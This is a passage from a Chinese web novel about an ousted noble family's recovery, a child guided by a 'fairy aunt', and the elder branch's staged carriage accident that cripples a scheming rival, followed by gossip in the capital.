孟大川此刻思绪还有些纷乱,沉浸在巨大的震惊与后续的思量中,但听说是二房的东西,尤其是书信,还是立刻伸手拿起了最上面的一封。 打开一目十行,脸色稍稍有点改变。再打开第二封,脸色骤然严肃起来。 阿沅用力掐了一把爹爹的大腿,看他没有反应,有点懊恼,干脆滑下床,又溜了。 看爹爹的表情,就知道是看到了什么掉头发的事,大人的事她可操心不起,让爹娘自己操心去。 她像只滑溜的小鱼儿,哧溜一下滑下床榻,头也不回地溜出了屋子。 再不走,等娘亲忙完过来,发现她又“捣乱”,说不定真要打她小屁股了。 再说,她是真饿了,也不知道锅子准备好了没有? 第22章 有点起色 “娘,吃!” 孟怀瑾忽然说话,声音有些干涩,却字字清晰。他动作略显迟缓,却认真夹起一筷子青菜放进柳氏碗中。 柳氏猛地一震,几乎不敢相信自己的眼睛,怔怔地看着碗里那抹鲜绿,又抬头望向儿子。 只见他眼神虽仍有几分涣散,却努力地聚焦在她脸上,柳氏的眼泪无声地涌了出来,大颗大颗地滚落,视线瞬间模糊,捧着饭碗的手不受控制地发起抖来。 “妹妹,你的。” 孟怀瑾又转向阿沅,夹起一块炖得软烂的肉,稳稳放进阿沅的小碗里。 阿沅没有像娘亲那样激动,但那双滴溜溜的大眼睛飞快地转动着,看看哥哥,又看看娘亲,小脸上一片严肃。她忽然脆生生地开口,语速极快,带着孩子特有的直白:“嘚嘚,是侯府的人害了你。” 孟怀瑾闻言猛地抬头,目光锐利了几分,紧紧盯住妹妹。阿沅没有回避,又一脸认真补充道:“老太婆是个大坏蛋,害爹爹,害嘚嘚,害娘亲。” 柳氏擦了擦眼角,目光一瞬不瞬地落在儿子脸上,观察着他每一丝细微的反应。她顺着阿沅的话,给了儿子一句更明确的提醒,声音虽轻,却字字沉重:“二房是为了侯府爵位和你的嫡子位。” 阿沅无比认真地点着小脑袋,用力“嗯嗯”两声,奶声奶气附和道:“二房坏。” 孟怀瑾嘴唇动了动,半晌才艰难地吐出几个字:“儿子知道…” 他似乎还想再讲下去,他憋了很久,拳头在桌下握紧又松开,最终只是重重地喘了口气,什么也没再多说,重新低下头,机械地往嘴里扒着饭。 直到将那碗饭吃了个底朝天,他才再次抬起头。他的眼神比刚才清明了不少,看着柳氏,一字一顿地说:“娘亲,瑾儿觉得好了不少,明日开始认真读书。” 柳氏听到这话,心头积压了将近半年的阴霾仿佛被撕开了一道口子,她又一次喜极而泣,泪水却带着笑意,连连点头:“好,好,好好用功……” 她一边抹泪,一边想起另一件欣慰的事,忙转过来宽慰兄妹俩,语气带着劫后余生的庆幸:“你爹…也慢慢好…了。” 几天时间里,随着身体内毒素的慢慢退去,孟大川的饭量明显增加,原本灰败的脸色也逐渐有了一丝红润。白日里清醒的时间越来越多,饭前饭后,甚至可以倚在床头,陪柳氏说上小半个时辰的话,虽然气息仍弱,思路清晰。 “爹爹会站起来的。”阿沅扒着碗沿,忽然冒出一句,语气笃定,仿佛在陈述一个既定事实。 柳氏内心却是不信的,夫君本就伤得极重,筋骨受损,又被暗中下了毒,拖了这么久,能保住性命已是万幸,如何还能指望站起来? 只是,她看着女儿亮晶晶的眼睛,不忍拂逆这份童真的期盼,更不愿在孩子们面前流露绝望。 她想着,即便将来他再不能站起来,但只要他活着,能说话,能看着她,她就觉得有了主心骨,不再是无依的浮萍。 更何况,她还有这一双儿女,只要人在,家就在,希望就在。 …… “这…真的是阿沅放出来的?” 伺候孟大川洗漱的时候,猛然看见那只在昏暗烛光下熟悉的红珊瑚摆件,以及旁边地上那只敞开的箱子里,女儿自小就积攒起来的玩具。她只觉得脑中“嗡”的一声,脚下一软,几乎跌坐在地,慌忙扶住床柱才稳住身形,眼睛瞪得极大,满是惊骇与难以置信。 “你去看看瑾儿的房,阿沅刚刚跟为夫说的意思,应该是瑾儿的整间书房都搬回来了。”孟大川的声音平静。 他看着妻子瞬间苍白的脸和微微颤抖的手,知道自己的解释再详细,恐怕也难以完全消除她心头的惊涛骇浪与重重谜团。让她亲眼去见证,或许比任何语言都更具说服力。 而且,他也隐隐期盼着,能通过妻子那双眼睛,替他看清女儿所陈述的、那超乎常理的事实。 柳氏深深吸了好几口气,才勉强平复下翻腾的心绪。她脚步虚浮地走到侧屋,里间的门半掩着,昏黄的灯光从门缝里透出来。 她轻轻推开一条缝,看到的是孟怀瑾正脊背挺直,伏在宽大的紫檀木案桌之前,就着一盏明亮的油灯,聚精会神地翻阅着书籍的背影。 那专注的姿态,那被暖黄灯光笼罩的侧影,那熟悉的书房陈设……乍一看去,恍惚间竟让她想起了一年前,那个尚未遭逢大变、朝气蓬勃、每日在书房中奋发苦读、意气风发的少年郎。 孟怀瑾全神贯注,丝毫没有察觉门口有人。柳氏只是静静地站着,贪婪地看着这失而复得的一幕,看了许久许久,仿佛要将这一幕深深镌刻进心底。 最后,她没有出声打扰,只是悄悄抬手,用力抹去眼角再次溢出的湿意,缓缓退了出来,轻轻带上了门。 第23章 那就让她来不了 “确实有神仙姑姑在帮阿沅!”回到正屋,柳氏对孟大川说的第一句话,已然没有了之前的惊疑不定,而是带上了一种破开迷雾后的笃定,眼中闪着奇异的光彩,“那你的腿就还有希望,对不对?阿沅说过几次,夫君会站起来的,那就一定会站起来。” 看到妻子脸上不仅恢复了往日的神采,眼底深处更是燃起了久违的、充满希望的光芒,孟大川不由得露出这些日子以来第一个真正舒心的笑容:“云娘没觉得为夫一天一个样?” “那就好,那就好!”柳氏的泪水又涌了出来,但这泪水滚烫,充满了喜悦与期盼,“你不知妾身有多希望,夫君能有重新站起来的一天。” “都多大的人了,还整天哭哭啼啼的,”孟大川心中酸软,伸手拉住了她那双因近日操劳而变得有些粗糙的手,轻轻摩挲着,指尖传来的薄茧让他心头一阵抽痛,“上来,为夫细细跟你说点事。” 两人并肩躺下,帷帐落下,隔出一方静谧的空间。孟大川压低声音,将方才孟柒前来汇报的所有事情,一五一十,事无巨细地娓娓道来。尤其着重强调了阿沅安排孟柒囤积粮食、木炭,购买厚实棉衣等事。 “阿沅……她再聪慧,也只不过是个三岁的孩子,如何能懂得这些、谋划这些?”柳氏听完,愕然不已,随即恍然,“定然又是神仙姑姑的指点。” “放心,我已经跟孟柒解释,说这些是我先前病中清醒时交代过的事。” 孟大川想起孟柒当时的眼神,也感到一阵后怕,幸亏自己反应及时,寻了个还算合理的借口将事情圆了回来,不然,真担心这些超常之事会引来外人猜忌,将女儿视作妖异。 “只是,阿沅的事…”孟大川沉吟着,眉头微蹙,有些欲言又止。 “夫君,”柳氏立刻会意,握紧了他的手,语气急促而坚定。 “她只是受神仙姑姑之托,是咱们家的福星护佑。此事万万不可对外泄露半分,孟柒虽忠心,但知道得越少对他越好。瑾儿……他如今刚有起色,心绪未稳,也还不是告知的时候。”她显然是担心丈夫考虑不周,急于提醒。 “为夫是说,”孟大川轻轻拍了拍她的手背,解释道,“为防万一,得再往她身边添几个稳妥可靠的人。”当初挑选绿果和红豆做阿沅的贴身丫鬟,主要是看中了她们会些拳脚功夫,能护得女儿日常安全。 如今看来,仅是如此还远远不够。女儿年纪太小,心思单纯,那“神仙姑姑”之事又如此玄奇,难保她不会在无心之时说漏了嘴。必须增加暗中的护卫力量,既要保护她的安全,也要防范秘密外泄。 孟大川接着又将孟柒听墙角之事,仔细复述了一遍。从母亲当年如何被算计,到如今二房的处心积虑,要将他们大房置于死地。 柳氏听得脸色发白,牙齿咬得咯咯作响,眼中尽是恨意,但她也深知,以他们目前的处境,根本没有还手之力,只能将这恨意死死压在心底。 “夫君,庄头换人之事,动静不小,迟早遮掩不住。”柳氏强迫自己冷静下来,说出另一层担忧,“妾身这几日一直为此烦恼,该如何向府里报备?” “先不急,”孟大川目光沉静,心中已有计较,“按神仙姑姑给阿沅的提示,雪灾已经开始了。一旦大雪封山,道路必然中断,消息传递困难。” “不是说姓宋的要来吗?”他的眼神骤然冷冽,声音也压低了几分,带着一种破釜沉舟的决断,“那就让她来不了!” 这话他说得斩钉截铁,昏黄的灯光映在他眼中,闪烁着隐晦而锐利的光芒。 两天后的清晨,依然是细雪如盐,京城西门刚刚缓缓洞开,一辆乌篷马车就第一个疾驰而出,还有一左一右两个护卫紧紧跟着。 “姑母真是的,”车厢里,小宋氏身子陷在厚厚的锦缎棉褥中,裹得如同一只密实的茧,怀里搂着一只鎏金铜手炉,她嘴唇翕动,语气非常烦躁,“这鬼天气,冻得人骨头缝都疼。横竖庄子里那一家子病痨鬼,也多熬不了几天,没准过两天自己就咽气了,何必非得折腾我这一趟?大雪天的,路滑难行,尽是晦气。” 坐在她对面的老婆子,生得一副尖嘴猴腮的模样,眼珠子却活络得很,闻言立刻堆起满脸谄笑,褶子都挤到了一处。 她声音带着一股子煽动意味:“我的好夫人哟,您可别这么想。老太太那是着急上火了,可这份急,说到底不还是为了您们二房的大好前程?您想想日后那泼天的富贵,眼下走这一趟,权当是圆了她老人家的心意,表表孝心,让她更念着您的好。” 她顿了顿,三角眼里闪过一丝精光,又添了一把火,“再说了,这等要紧事,夫人您亲自去瞅一眼,亲眼见着了,心里不就更踏实了?往后这个年,才能过得安安稳稳、舒舒坦坦不是?” “哼,这倒也是。”小宋氏撇了撇嘴,脸上终于有了点笑意。 她年方三十,身段犹存几分妖娆,一张脸皮相不算差,只是两颊无肉,颧骨微凸,衬得那双遗传自老宋氏的吊梢眼格外锐利冰凉。 她掀开车帘一角,望了望外面依然簌簌纷飞的雪野,眼神里透出毫不掩饰的恶毒与期盼,“我啊,巴不得年前就能吃上大房的席面,那二爷承袭爵位的事,可就板上钉钉,再没半点波折了。”这话刻意压低了声音,却让人觉得寒气入骨。 马车轱辘不停,驶出官道,转入一条更为僻静的傍山小路。 路面逐渐崎岖,两旁是枝桠光秃秃的杂木林子,积着皑皑白雪。 第24章 小宋氏出事 行至一片茂密些的小树林边,道路陡然下倾,形成一个稍微有点陡峭的斜坡。车夫“吁”了一声,正要小心控缰,拉车的两匹马却被林子里忽然崩裂的声音猛地一惊,突然同时嘶鸣起来,前蹄高举,发了狂似的向前猛冲! 陡坡加上惊马,情势瞬间失控。马车向前一窜,随即剧烈地颠簸、跳跃起来,如同惊涛骇浪中的一片扁舟。 车厢里的小宋氏和老妈子猝不及防,被抛甩得东倒西歪,尖叫、怒骂连连。小宋氏手炉“哐当”摔在车板上,炭火滚出。 两个骑马的护卫大惊失色,奋力打马想要追上并控制住惊马,但斜坡加速太快,马匹受惊程度远超预料,根本追赶不及。 疯狂的奔驰只持续了短短一段路,随着一声木材断裂的脆响和更凄厉的马嘶,车轮猛地撞上一块大石头,整个马车顿时失去平衡,向一侧猛地倾斜,随即翻滚着冲下道路旁那个不算很深、却布满乱石枯树的小斜坡! 小宋氏和那老婆子在翻滚过程中先后被抛出了车厢外,重重摔在斜坡下的厚雪窝里。 冰冷的雪沫灌了她们一头一脸,浑身骨头像是散了架,火辣辣地疼,但幸运的是,厚厚的积雪和蓬松的枯草起到了缓冲,两人似乎只是受了些擦碰扭挫的轻伤,意识都还清醒。 “哎哟……疼死我了……救命!快来人!”老婆子呻吟着。 “我的脚……扭着了,动不了……”小宋氏试图撑起身子,却感到脚踝处一阵钻心疼痛,又跌坐回去,又惊又怒地喊道,“该死的畜生!怎么赶的车?护卫呢?死哪儿去了!” 她们此刻正处在斜坡底部,惊马已挣脱车辕不知跑向何处,车夫也不知被抛向了哪里,而那辆已经变形破损的空车厢,在翻滚几周后,被两棵粗壮的老树树干堪堪卡住,停在斜坡中段,摇摇欲坠。 两个护卫面无血色,连滚带爬地冲下斜坡,正要上前救助主子。 就在此时,却出了新的状况。 只听得“嘎吱——嘭!”一声令人牙酸的木材断裂巨响,那卡住车厢的树干不堪重负,猛然折断!失去支撑的空车厢骤然解脱,顺着剩余的斜坡坡度,剧烈地抖动、翻滚起来,加速朝坡底的二人冲砸而去! “不——!!!”小宋氏的瞳孔骤然缩成针尖。 一切都发生在电光石火之间。沉重的车厢残骸如同死神投下的阴影,首先精准地撞上了刚刚半坐起来的老婆子,“噗”的一声闷响,边角狠狠砸中了她的头颅。老婆子连惨叫都未及完全发出,便像破布袋一样瘫软下去,鲜血瞬间染红了雪地。 车厢去势未减,借着惯性继续滚动、砸落,最后不偏不倚,整个沉重的底部,狠狠砸在了瘫坐在地、根本无法移动的小宋氏的腰腹之间! “啊——!!!” 凄厉至极的惨叫划破了雪林的寂静,比之前马惊时的呼喊更加令人毛骨悚然。小宋氏双眼暴凸,腰腹部传来的是一种无法形容的、碾碎般的剧痛,仿佛整个下半身瞬间失去了知觉,又仿佛被生生压成了肉泥。 巨大的冲击力震得旁边树冠上的积雪扑簌簌纷纷落下,如同又下了一场急促的暴雪,迷蒙了现场。 两名护卫僵立在数步之外,脸上血色尽褪,目瞪口呆。 事情发生得太过突然、太过迅猛,从马车惊走到此刻惨剧落幕,不过短短几十息时间,他们纵然拼尽全力,也根本无法做出任何有效的挽救,只能眼睁睁看着一切发生。 冰冷的空气中,只剩下鲜血温热的气息、细微的雪落声,以及小宋氏那逐渐微弱下去的痛苦呻吟。 几道骑马披着白斗篷的高大身影从树林子里出来,看清楚了山下的这一幕,很快又隐了进去,最后消失无踪。 “车夫和婆子都死了,二房那位这辈子别想再站起来。”孟柒垂手立在门边,低声回禀。 “做得好,但这还只是开始,”孟大川靠在床头,伸手缓缓捏了捏自己依然毫无知觉的大腿,他眼底寒意如同外面的积雪,声音低沉而清晰,“比起他们做下的事,我们要一报还一报,一件件、一桩桩,慢慢清算。” 阿沅这几日可快活极了,一天里除了扎马步吃饭睡觉,其余时间都要绿果和红豆拎着她在庄子里飞跃。 红袖也不闲着,在后面追得气喘吁吁,不成样子。 阿沅哪晓得小宋氏出了事,更不知道,大房沉默而锋利的报复,早已如暗流般在她无忧无虑的嬉笑声中悄然涌动。 她嚷嚷着要学拳脚功夫,每日煞有介事地踢腿伸胳膊,然后往外跑。其实早把这两百亩庄子的角角落落摸了个遍。 嘉禾庄偎在山谷怀里,地势低洼,土地肥沃,山涧水充足。这里最宜种稻子,庄上的出产也确是稻谷为主。 阿沅心里那颗小种子早就发了芽——她定要在庄子里种出高产的稻米来。只是北方天冷,一年只能种一季,有点遗憾。因为今年的这一次雪灾,种植只能在六月,所以她有大把的时间做准备。 这日,她又吭哧吭哧爬上了爹爹的床榻,小手这里捏捏,那里掐掐,从爹爹的脚踝一路仔细按到腰间,用力得自己的小指头都疼了,可爹爹的腿还是安安静静的,都没瑟缩一下。 她凑过去,暖烘烘趴到孟大川脖颈边,嫩嫩的脸蛋贴着他蹭了蹭,糊开一片湿漉漉的亲昵。 “爹爹呀,”她声音糯糯的,带着十足的撒娇劲儿,“阿沅想要礼物。” “阿沅看上什么了?”女儿贴近床的那一刻,孟大川的眼神就没离开过她,现在看着女儿亮晶晶的眼睛,心底一片柔软。 这数月卧榻,是妻子的温言细语与日夜不离的照料,一点点化开他心头的坚冰;而女儿,更像是一束活泼泼的光,总在他觉着前路晦暗时,俏生生地照亮一角。但凡他能,有什么是不能给她的?“爹爹定然给阿沅办到。” “阿沅想要庄子!”小家伙眼珠儿骨碌一转,闪着狡黠的光,嘴角翘得高高,笑的贼呼呼的。 “娘亲的陪嫁庄子和铺子,往后都是阿沅的嫁妆,爹爹可没那么多。”柳氏正坐在窗边做着针线,闻言抬头,语气里故意掺了点酸意。 这几日,女儿总爱黏着她爹说悄悄话,对她这个娘倒似有些“冷落”了。可瞧着女儿那小小人儿竟已知道盘算这些,她又觉着好笑又骄傲。 第25章 孟怀瑾默写出了论语 “不是呀,”阿沅急急摇头,小短手指了指头顶的帐子,又拍了拍身下的床板,似乎不知该怎么准确表达,急得鼻尖都沁出细汗,“是这个!就是这个……泥坏后娘的那个!” 她连“祖母”也不叫了,直接用小手指头点向孟大川,意思是爹爹的东西,“泥后娘的,不给她!”说着,还使劲摇了摇孟大川的胳膊,连带着他的脑袋也轻轻晃了晃,那股子“必须抢过来”的蛮劲儿,可爱又霸道。 孟大川被她摇得眼底漾开一丝笑意,将手臂抽回,枕在脑后。“阿沅是想要我们住的这个庄子?不过…也……不是不可,”他沉吟道,“房契地契既已拿回,爹爹本就没打算再便宜他们。” 虽不便立刻过户,但多费些周折,总有法子。 “只是嘛——”他话锋一转,伸出手指,轻轻点了点女儿汗津津的小鼻尖,“你且跟爹爹和娘亲老实交代,阿沅要这庄子,是想做什么呀?” 每次听到女儿哼哧哼哧往床上爬的动静,他就知道,这小机灵鬼心里又藏了话,要来跟他商量大事。 “神仙姑姑要教窝种地!”阿沅挺起小胸脯,语出惊人。孟大川和柳氏对视一眼,早已见怪不怪。柳氏放下针线,坐到床沿,温柔地将女儿爬得有些散乱的细软头发拢到耳后。 “神仙姑姑给种子,能长出好多好多粮食,”阿沅张开短短的手臂,努力画了一个大大的圆,几乎要把整间屋子都抱进去,“让好多好多的人,都吃饱饭!”她眼神亮得惊人,仿佛已经看到了那金色稻浪翻滚的景象。 “阿沅是说,神仙姑姑还会种地?”孟大川难掩诧异。这位“神仙姑姑”管得竟如此宽?不单救他一家,还要救天下苍生?而这重任,竟要透过怀中这软糯一团的小女儿来完成? “爹爹好聪明。”阿沅小马屁精,洋洋自得。 “阿沅只管听神仙姑姑的,”孟大川心中震动,面上却更温和,将女儿往怀里带了带,“庄子和人手,爹爹来给你安排。只是不许累着我的小阿沅,知道吗?” 服药敷药的时间尚短,他的腿虽还未有知觉,却已不再疼痛,而且自己和儿子的身子都在好转,他没理由不信女儿的话。 至于种地,有了粮就能养人,这世道,越是艰难,肯踏实干活的人就越多。有了庄子,多找点人给女儿种地就是了。 柳氏欲言又止,本想跟夫君说,要么搬到自己的庄子里去。但想想又把这种想法压了回去,女儿都说了是想要这间庄子,也不知是不是神仙姑姑刻意授意,飞这里不行。 “就知道爹爹最最好了!”阿沅欢喜极了,凑上去“吧嗒”一声,又在孟大川脸上结结实实亲了一口,留下湿漉漉、甜丝丝的印记。 “爹爹好,娘亲就不好啦?”柳氏佯装吃味,别过脸去。 阿沅一听,骨碌一下从爹爹怀里爬起来,扑过去抱住柳氏的脖子,也在她脸上“嗷呜”轻咬了一口,随即咯咯笑起来,笑声如同银铃一般悦耳:“爹爹好,娘亲好!嘚嘚也好!” 她扭着身子,忽然想起什么,认真叮嘱,“娘亲要记得喝补药药哦!” 柳氏心头那点酸意早化了蜜,捏了捏她的小脸蛋:“记得记得,小管家婆!补药在炉子上,姑姑们日日盯着熬呢。” 阿沅觉得自己的鼻子生来就是给爹娘点的,忙不迭把小脸凑到柳氏手边,果然又被轻轻点了一下。 这下,一家三口笑作一团,阿沅在爹娘中间滚来滚去,软糯的笑语充盈满室,将窗外渐沉的暮色都染得温馨起来。 听到这边爽朗的笑声,隔壁的侧屋,正在埋头苦读的孟怀瑾,轻轻抬头,嘴角也忍不住扬了起来,他刚刚默写出了《论语》的第一章。 “老夫人,不好了,老夫人!” 老宋氏在前院住了三天,才搬回松鹤院不过二日。这几日依然有点心神不宁,夜里总睡不踏实,昨日服了安神汤,好不容易才得了个深沉安稳的觉。 天刚蒙蒙亮,她正陷在稠梦里,这声尖利又慌乱的叫喊,像根冰锥子猛地扎进耳膜,将她硬生生拽了出来。 她眼皮未睁,心头那股无名火就“噌”地窜起,烧得太阳穴突突直跳。这松鹤院里,何时容得这般没规没矩的声响了? 侍立在外间的春嬷嬷比她反应更快,早已沉了脸,几步跨到门边,声音压得低,却像裹了层寒霜:“哪个不知死活的小蹄子,大清早在这里鬼哭狼嚎!惊扰了老夫人歇息,仔细你的皮!”她眼神锐利如刀,刮向门口那团瑟瑟发抖的身影。 “春、春嬷嬷……是……是……”刚跨过门槛的小丫鬟被这声呵斥吓得魂飞魄散,腿一软,“噗通”就跪在了冰凉的石砖地上,额头抵着地面,声音抖得不成样子,“是二爷……二爷让小厮急急传了话进来……”说完,像是怕极了责罚,又连着磕了几个响头,砰砰作响。 对她来说——这自然是躺在里间,刚被彻底吵醒、正满心怒火的老宋氏却定了定神,忽然心情舒畅起来。 如今能称得上“不好”的事,多半与那被赶到庄子里去的大房有关。 坏事?若是大房的坏事,那对她便是天大的好事。这么一想,胸腔里那股被惊扰的怒气,竟奇异地转成了丝丝缕缕的期待,将那点子不悦驱散了大半。 她脸上那因睡眠不足而深刻的皱纹,不知不觉间竟舒展了些,甚至勉强扯动嘴角,露出一丝近乎扭曲的笑意,那张布满岁月沟壑的老脸,一时像朵将开未开的残菊。 “什么事啊?扶我出去说。”老宋氏撑着身子坐起些,声音里刻意带上了点慢条斯理的沉稳,让丫鬟扶着出了正厅。 还朝门口招了招手,示意那跪着的小丫鬟起身。春嬷嬷会意,侧身让开了些。 “是……是……”小丫鬟抖索着爬起来,头仍旧低垂着,不敢看榻上的人,声音细若蚊蚋,“二爷让小厮传话……说、说二夫人的马车……昨天在城外出了事,翻下了山……二夫人她……她怕是……快不行了……” 第26章 无异于马失前蹄 “哐当——!” 小丫鬟话音未落,一个青瓷茶盏已从老宋氏手中飞了出去,狠狠砸在她脚边的砖地上,瞬间迸裂成无数锋利的碎片,几滴滚烫的茶水溅到了小丫鬟的裙摆上。 小丫鬟惊叫一声,本能地往后一缩,险险避开那四散的瓷片,随即又吓得魂不附体,“咚”地一声重新跪倒,不住磕头。 “你说什么?!”老宋氏的声音陡然拔高,尖利得变了调,她上半身猛地前倾,眼睛瞪得极大,浑浊的眼珠里满是不可置信与一种被突如其来的噩耗击中的茫然。 “跟去的人是死的不成?怎么伺候的?!到底是怎么出的事?!传话的小厮呢?让他滚进来说清楚!” 她话音未落,门口人影一闪,一个穿着灰布袄子的小厮连滚带爬地进了屋,“扑通”跪倒在碎瓷片旁,正是平日里跟着孟二泉的贴身随侍,此刻也是面无人色,额头冒汗。 “老夫人息怒!老夫人容禀!”小厮声音发颤,语速极快,“是、是这么回事……昨夜子时过后,巡防司的人就来了府上报讯,说在城外落鹰涧发现了咱们府上标记的马车残骸。 二爷得了信,天不亮就带着人赶过去了,方才……方才才从现场回来,让小的立刻来回禀老夫人……” “人呢?二夫人呢?抬回来了?死了?!”老宋氏只觉得一股寒气从脚底板直冲天灵盖,眼前阵阵发黑,身子不由自主地晃了晃,险些从榻上栽下来。 旁边的春嬷嬷眼疾手快,一个箭步上前牢牢扶住她的胳膊,连声急道:“老夫人!老夫人您可千万稳住!眼下这光景,二夫人不行了,您万不能再出什么闪失啊!”她一边说,一边用力给老宋氏抚着胸口顺气。 小厮头埋得更低,几乎要贴到地上:“人已经就近送到济安堂了。可郎中说,就是救回了…怕是不成了…” “二夫人下身血肉模糊一片,腰脊那块…说是碎得厉害。郎中说,情形跟当年大爷受伤时有些像……可、可又比当初大爷还要严重得多啊!” “冤孽……真是冤孽啊!”老宋氏浑身剧烈地哆嗦起来,手指死死攥着春嬷嬷的衣袖,指节泛白,胸口剧烈起伏,像是喘不上气,“那一家子……就是带克的!克了老身还不够,如今又来克我的泉儿,克我娘家的闺女,我定……” “老夫人!慎言呐!”春嬷嬷听得心惊肉跳,眼见老宋氏口不择言,慌忙用力扯了扯她的衣襟,低声急劝,同时朝地上跪着的两人瞥去警告的一眼。 老宋氏被她一扯,似乎回了几分神,那未尽的恶毒诅咒卡在喉咙里,化作一阵“嗬嗬”的痰音,脸色由白转青,竟是一时说不出完整的话来。 她另一只手习惯性地往旁边小几上摸索,想再抓个东西,却只摸了个空,那空空的感觉让她心头更是一阵发慌。 喘了几口粗气,老宋氏勉强压下那股邪火与惊悸,用帕子掩住脸,竟真从指缝里挤出几滴浑浊的老泪来,声音也带上了哭腔。 “去……告诉二爷,拿我的对牌,立刻去宫里……无论如何,请一位最好的太医来!一定要想法子……把二夫人给我救回来!”这话说得凄切,仿佛蕴含着无尽的悲痛与不舍。 “是!老夫人!小的这就去!”地上那小厮如蒙大赦,慌忙磕了个头,手脚并用地爬起来,转身就要往外跑。 “等等!”老宋氏忽然放下帕子,露出一双红肿却精光闪烁的眼睛,死死盯着小厮的背影,声音陡然变得尖细而森冷。 “这事……来得蹊跷!你告诉二爷,让他报官!仔仔细细地查!我倒是要看看,是哪个黑了心肝、挨千刀的,敢对我侯府下这样的毒手!”她语气里透着狠戾,仿佛已认定了这不是意外。 “老夫人!”春嬷嬷脸色一变,手上力道加重,几乎是半按半扶地制住了老宋氏微微前倾的身体,急急递过去一个“万万不可”的眼神,又迅速转向门口,声音带着不容置疑的断然,“老夫人是急糊涂了!眼下救人要紧!” 她随即瞪向那小厮,语速飞快地替老宋氏问道:“巡防司的人既然去了,他们怎么说?可查验过了?” 小厮被这一连串变故弄得晕头转向,闻言连忙又转回身,重新跪下,急急回话:“回嬷嬷的话,巡防司的几位官爷已经仔细看过了现场。 那段路本就险峻,积有厚雪薄冰,马蹄打滑是常事。在出事前,拉车的马不知被什么声响惊着了,这才发了狂,直冲出了山路。 官爷们勘验了车辙和马匹痕迹,也问了侥幸生还的护卫,都说……都说是意外,并无其他可疑之处。” “那跟着去的下人呢?主子出了这么大的事,他们一个个都死到哪里去了?!”老宋氏捂着胸口,只觉得那里一阵阵绞痛,气都快喘不匀了,说话断断续续,却仍旧咬着牙追问。 春嬷嬷在一旁不停地为她揉着心口,满脸忧色。 小厮战战兢兢地回答:“跟车的嬷嬷和车夫老王……当场就没了。另外两个护卫伤得倒是不重,被巡防司的人一并带走问话,刚刚……刚刚才放回来,此刻正在前院回二爷的话。” “没用的东西!主子都护不住,留着他们还有什么用!”老宋氏眼底掠过阴狠与迁怒,咬着牙根吩咐,“告诉二爷,这种没用的奴才,不必留了!打杀干净,省得看着碍眼!” “是!老夫人!小的明白了!”小厮再不敢有丝毫耽搁,重重应了一声,爬起来,逃也似的冲出了松鹤苑的正堂,仿佛身后有恶鬼在追一般。 堂内骤然安静下来,只剩下老宋氏粗重压抑的喘息声,以及地上那一摊狼藉的碎瓷和泼洒的茶渍。 “老夫人,您千万保重身子,眼下府里可全靠您跟二爷拿主意了。”春嬷嬷声音放得极柔,带着十足的忧虑,她半扶半抱着老宋氏发软的身子,“您脸色很不好,老奴扶您到里间躺下歇会儿吧,缓缓神,万事……等太医来了再说。” 老宋氏没有拒绝,任由春嬷嬷搀扶着,颤颤巍巍地从榻上挪下来。她的腿脚像是灌了铅,每一步都沉重无比。 方才那一瞬间因“坏事”而泛起的、近乎扭曲的期待亮光,早已在她脸上消失得无影无踪,取而代之的是一片死灰般的暗淡。 那双浑浊的老眼里,先前闪烁的精光骤然熄灭了,只剩下无尽的惶惑、惊怒,以及一种深不见底的、对于命运无常的恐惧。 小宋氏出了意外,对她而言,无异于马失前蹄。 第27章 贪墨嫁妆 安平侯府接连出事,在京城里传得沸沸扬扬,街头巷尾的茶楼酒肆里,处处都能听见窃窃私语,人人脸上都带着几分看热闹的兴奋,又夹杂着对侯府衰落的唏嘘。 先是府里接二连三闹鬼,那光景着实吓人。 据说夜半时分总有女子的哭声从后花园的枯井边传来,值夜的下人亲眼见过白影飘过回廊,连老夫人房里守夜的嬷嬷都说瞧见了窗外有张惨白的脸一闪而过。 主子和下人都被折腾得人心惶惶,夜里不敢独行,非得三五成群才敢走动。老夫人请来青云观最有名的玄清道长做了整整七场法事,贴了无数符咒,撒了不知多少糯米朱砂,那诡异的动静才逐渐消停。却也因此传出了不少流言,如同长了翅膀般飞遍京城各个角落。 “军功换诰命这事,本来就做得不亮堂。” 明阳公主府的冬日宴上,几个老夫人压低声音,“照说这诰命怎么都是应该请给自己的生母,现在侯府那位继室自作主张,承了这份荣宠,地底下那位还不得跳起来找她理论?要我说啊,这闹鬼的事儿,八成就是先头那位花老夫人显灵了。” “换成是老身,我也出来走这一遭。” 茶馆里,几个书生模样的年轻人也议论得正酣。“后娘有几个是好的!”一个书生啜了口茶,摇头晃脑,“真会为大房打算,不然为什么还不连爵位一起请了?正牌的嫡长子太医都没说不能治,就拉庄子去了。现在也不知是死是活。侯府这爵位啊,指定是留给二房的。” 旁边有人嗤笑一声:“二房也配?文不成武不就,没一样拿得出手的。那位二老爷孟二泉,也就在衙门挂了个六品闲职,七八年没挪过窝。” “那位二夫人小宋氏,跟那位继室老夫人一样,粗鄙得很,上不得台面。” “这个谁知道呢?”先前说话的书生压低声音,“搞不好递上去,皇上就批了也不一定。毕竟若是大爷都不在了,二房承爵也是顺理成章。” 没多久,又传出更惊人的消息:二夫人小宋氏私自外出,竟遭遇了飞来横祸。据说是马惊了,从车上滚落,被车轮碾过腰身,如今双腿完全不能动弹,下半截算是废了,整日躺在榻上哀嚎,请了多少名医都摇头叹气。 市井间的议论更是甚嚣尘上。“这侯府呀,没有了老侯爷和孟大川,怕是很快要没落了。”西街米铺的老掌柜一边拨弄算盘一边感慨,“老侯爷在的时候安平侯府是何等的尊荣,那时门前的石狮子都闪着光,车马不绝。现在是避之不及,连咱们这些平头百姓都绕着走,怕是沾染了晦气。” “儿子不行,不是还有孙子吗?”一旁买米的妇人插嘴,“听说嫡长孙十三岁就中了秀才,还位列榜首,夫子可说是有状元之才的。” 老掌柜长叹一声:“已经是昨日黄花了,慧极必伤,听说疯了。好好的一个孩子,如今见人就咬,胡言乱语,被锁在后院里。” 那妇人倒抽一口冷气:“前后不过半年,就瘫了两个,疯了一个,怎么这么邪门呢?” 角落里一个老者幽幽开口:“看着吧,那是遭了报应。人在做,天在看呐。” 腊月里的寒风刺骨,十二月初十这天,两个衣衫单薄的年轻人跌跌撞撞冲进京兆衙门,跪在堂前泣不成声。 一个自称是侯府大房的丫鬟碧桃,另一个是小厮长安,二人报案称侯府失窃,独独偷了大房的财物,前院后院偷得一干二净,连个箱笼都没留下,毛都没留下一根。而其余几个院子,从主子到下人,未丢一针一线。 接近年关,又是如此蹊跷的大事,京兆尹梁大人非常重视,眉头紧锁地捻着胡须,当即责成自己的右臂成少尹亲自督办此事。成少尹名成栩,年约三十五六,面容刚毅,办事素来雷厉风行。 